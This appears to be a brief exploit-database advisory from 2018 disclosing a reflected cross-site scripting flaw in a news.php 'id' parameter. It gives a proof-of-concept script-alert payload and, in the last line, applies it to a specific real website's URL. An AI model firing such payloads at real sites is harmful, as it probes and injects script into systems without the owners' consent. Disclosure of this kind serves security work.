# Exploit Title:  Cross Site Scripting in " Web services and hosting by ArkansasWeb.com "
#-----------------------------------------------------------------------------------------
# Exploit Author:  Mehdi Razmjoo ( razmjumehdi@gmail.com )
#-----------------------------------------------------------------------------------------
# Date: 2018.4.07
#-----------------------------------------------------------------------------------------
# Vendor Homepage: http://www.arkansasweb.com
#-----------------------------------------------------------------------------------------
# CWE:  CWE-79
#-----------------------------------------------------------------------------------------
# Category: Web Application
#-----------------------------------------------------------------------------------------
#Dork: -
#-----------------------------------------------------------------------------------------
# Vulnerability Path:  http://Server/news.php?id=3
#-----------------------------------------------------------------------------------------
#Tested On:  Kali Linux 2018.1_64x ( Firefox )
#-----------------------------------------------------------------------------------------
# Description:
#
# The vulnerability allow attackers to execute Javascript command through URL, like this:
#
# http://Server/news.php?id=[X]"><script>alert("XSS")</script>
#
#-----------------------------------------------------------------------------------------
#

http://www.jmtv.com/news.php?id=3"><script>alert("XSS")</script>